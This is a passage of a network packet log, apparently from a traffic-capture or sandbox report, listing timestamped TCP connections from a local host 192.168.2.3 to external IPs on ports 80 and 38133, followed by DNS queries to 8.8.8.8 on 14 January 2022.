Jan 14, 2022 05:00:01.595565081 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.595602036 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.595618010 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.595640898 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.595699072 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.595716000 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.595736980 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.595753908 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.595777035 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.595813990 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.595839977 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.595850945 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.595890999 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.595911980 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.595930099 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.595971107 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.596009970 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.596030951 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.596045017 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.596065044 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.596085072 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.596122980 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.596139908 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.596159935 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.596196890 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.596216917 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.596235991 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.596275091 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.596313000 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.596338034 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.596349001 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.596359015 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.596388102 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.596426010 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.596446991 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.596462011 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.596502066 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.596518040 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.596539974 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.596576929 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.596597910 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.596616983 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.596652985 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.596690893 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.596708059 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.596729040 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.596765041 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.596786022 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.596803904 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.596817970 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.596843004 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.596901894 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.598303080 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.606518984 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.626509905 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.626574993 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.626614094 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.626652956 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.626692057 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.626728058 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.626740932 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.626769066 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.626771927 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.626801968 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.626808882 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.626883030 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.630074024 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.630132914 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.630171061 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.630213022 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.630251884 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.630270004 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.630287886 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.630300045 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.630328894 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.630367041 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.630403996 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.630441904 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.630480051 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.630520105 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.630559921 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.630595922 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.630635023 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.630671978 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.630709887 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.630748987 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.631000042 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.639296055 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.639353991 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.639390945 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.639431000 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.639441967 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.639497042 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.641616106 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.641674042 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.641712904 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.641751051 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.641784906 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.641788960 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.641808033 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.641829967 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.641906977 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.641947031 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.641983986 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.642023087 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.642036915 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.642060995 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.642069101 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.642101049 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.642139912 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.642148018 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.642177105 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.642216921 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.642224073 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.642256021 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.642311096 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.648468971 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.648530960 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.648602962 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.653498888 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.653544903 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.653584957 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.653620958 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.653659105 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.653665066 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.653698921 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.653731108 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.653739929 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.653744936 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.653781891 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.653820038 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.653872013 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.653887033 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.653938055 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.653975010 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.653990030 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.654014111 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.654053926 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.654067039 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.654093027 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.654109001 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.654133081 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.654172897 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.654181957 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.654211044 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.654251099 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.654259920 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.654289961 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.654326916 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.654365063 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.654372931 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.654403925 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.654442072 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.654452085 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.654483080 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.654520988 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.654532909 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.654561043 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.654598951 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.654613018 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.654634953 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.654674053 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.654687881 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.654711008 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.654750109 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.654788017 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.654788017 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.654799938 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.654827118 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.654865980 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.654884100 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.654905081 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.654941082 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.654968977 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.654978037 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.655015945 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.655052900 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.655071020 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.655092001 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.655128956 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.655162096 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.655167103 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.655178070 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.655205965 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.655242920 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.655257940 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.655282021 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.655319929 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.655342102 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.655354023 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.655523062 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:02.167366028 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:02.177551031 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:02.269596100 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:02.326376915 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:03.672836065 CET	49886	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 05:00:03.706543922 CET	38133	49886	86.107.197.138	192.168.2.3
Jan 14, 2022 05:00:03.706600904 CET	38133	49886	86.107.197.138	192.168.2.3
Jan 14, 2022 05:00:03.706633091 CET	38133	49886	86.107.197.138	192.168.2.3
Jan 14, 2022 05:00:03.706659079 CET	49886	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 05:00:03.846095085 CET	49886	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 05:00:04.070126057 CET	49906	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:04.125907898 CET	80	49906	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:04.126019955 CET	49906	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:04.126226902 CET	49906	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:04.126383066 CET	49906	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:04.181982994 CET	80	49906	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:04.208523035 CET	80	49906	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:04.208645105 CET	49906	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:04.208811045 CET	49906	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:04.264379978 CET	80	49906	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:04.290380001 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 05:00:04.290457964 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 05:00:04.290529013 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 05:00:04.364547014 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 05:00:10.899627924 CET	80	49763	54.38.220.85	192.168.2.3
Jan 14, 2022 05:00:10.899729967 CET	49763	80	192.168.2.3	54.38.220.85
Jan 14, 2022 05:00:10.899810076 CET	49763	80	192.168.2.3	54.38.220.85
Jan 14, 2022 05:00:10.918926954 CET	80	49763	54.38.220.85	192.168.2.3
Jan 14, 2022 05:00:12.810627937 CET	49886	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 05:00:12.838731050 CET	38133	49886	86.107.197.138	192.168.2.3
Jan 14, 2022 05:00:12.954229116 CET	38133	49886	86.107.197.138	192.168.2.3
Jan 14, 2022 05:00:12.955169916 CET	49886	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 05:00:13.037247896 CET	38133	49886	86.107.197.138	192.168.2.3
Jan 14, 2022 05:00:13.379420996 CET	38133	49886	86.107.197.138	192.168.2.3
Jan 14, 2022 05:00:13.424998999 CET	49886	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 05:00:13.495659113 CET	49886	38133	192.168.2.3	86.107.197.138

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2022 04:58:57.936820030 CET	57875	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:58:58.250190973 CET	53	57875	8.8.8.8	192.168.2.3
Jan 14, 2022 04:58:58.421669006 CET	54154	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:58:58.442079067 CET	53	54154	8.8.8.8	192.168.2.3
Jan 14, 2022 04:58:58.599421024 CET	52806	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:58:58.886639118 CET	53	52806	8.8.8.8	192.168.2.3
Jan 14, 2022 04:58:59.036449909 CET	53910	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:58:59.337162971 CET	53	53910	8.8.8.8	192.168.2.3
Jan 14, 2022 04:58:59.492367029 CET	64021	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:58:59.808490038 CET	53	64021	8.8.8.8	192.168.2.3
Jan 14, 2022 04:58:59.987896919 CET	60784	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:00.296633005 CET	53	60784	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:01.657037973 CET	51143	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:01.674735069 CET	53	51143	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:01.822875977 CET	56009	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:01.842137098 CET	53	56009	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:02.000912905 CET	59026	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:02.288902044 CET	53	59026	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:04.080883026 CET	49572	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:04.100373983 CET	53	49572	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:04.270278931 CET	60823	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:04.289714098 CET	53	60823	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:04.438930035 CET	52130	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:04.458097935 CET	53	52130	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:04.772653103 CET	55102	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:05.100713968 CET	53	55102	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:05.322487116 CET	56236	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:05.676515102 CET	53	56236	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:05.836077929 CET	56527	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:05.857112885 CET	53	56527	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:05.903516054 CET	49559	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:05.924907923 CET	53	49559	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:06.080219984 CET	63297	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:06.419181108 CET	53	63297	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:06.586293936 CET	58361	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:06.605556011 CET	53	58361	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:06.756551981 CET	53615	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:06.777210951 CET	53	53615	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:06.931622028 CET	50728	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:07.219146013 CET	53	50728	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:10.417393923 CET	60982	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:10.436482906 CET	53	60982	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:10.583241940 CET	58058	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:10.602279902 CET	53	58058	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:10.807693005 CET	51539	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:10.827039957 CET	53	51539	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:10.978353024 CET	55393	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:10.997534037 CET	53	55393	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:13.136306047 CET	63456	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:13.155534029 CET	53	63456	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:13.308692932 CET	58540	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:13.328099966 CET	53	58540	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:13.480348110 CET	55108	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:13.499604940 CET	53	55108	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:13.673835993 CET	64432	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:13.696434975 CET	53	64432	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:15.852540970 CET	49250	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:15.869771957 CET	53	49250	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:16.019736052 CET	63490	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:16.038958073 CET	53	63490	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:16.194268942 CET	65110	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:16.211462021 CET	53	65110	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:37.402025938 CET	56706	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:37.419707060 CET	53	56706	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:37.569633961 CET	53569	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:37.588934898 CET	53	53569	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:37.741621017 CET	62855	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:37.763266087 CET	53	62855	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:37.911159039 CET	51046	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:37.928505898 CET	53	51046	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:38.119282007 CET	65501	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:38.136437893 CET	53	65501	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:38.310786009 CET	53465	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:38.649342060 CET	53	53465	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:38.826169968 CET	49290	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:38.845807076 CET	53	49290	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:39.012763023 CET	59754	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:39.032780886 CET	53	59754	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:39.222218990 CET	49234	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:39.241664886 CET	53	49234	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:39.409629107 CET	58720	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:39.427237034 CET	53	58720	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:39.579499006 CET	57447	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:39.598696947 CET	53	57447	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:39.776551008 CET	63583	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:39.795768023 CET	53	63583	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:39.972970009 CET	64099	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:39.992176056 CET	53	64099	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:40.140419006 CET	64610	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:40.159840107 CET	53	64610	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:41.762509108 CET	51989	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:41.781734943 CET	53	51989	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:41.929316998 CET	53152	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:41.948843002 CET	53	53152	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:42.097152948 CET	61590	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:42.118859053 CET	53	61590	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:42.619268894 CET	56077	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:42.638514042 CET	53	56077	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:42.788170099 CET	57951	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:42.807667017 CET	53	57951	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:43.007805109 CET	53276	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:43.027211905 CET	53	53276	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:43.185044050 CET	60135	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:43.204377890 CET	53	60135	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:43.508315086 CET	49849	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:43.525659084 CET	53	49849	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:43.717730045 CET	60253	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:43.737229109 CET	53	60253	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:43.931668043 CET	58706	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:44.219611883 CET	53	58706	8.8.8.8	192.168.2.3
Jan 14, 2022 04:59:46.271538019 CET	62677	53	192.168.2.3	8.8.8.8
Jan 14, 2022 04:59:46.291184902 CET	53	62677	8.8.8.8	192.168.2.3
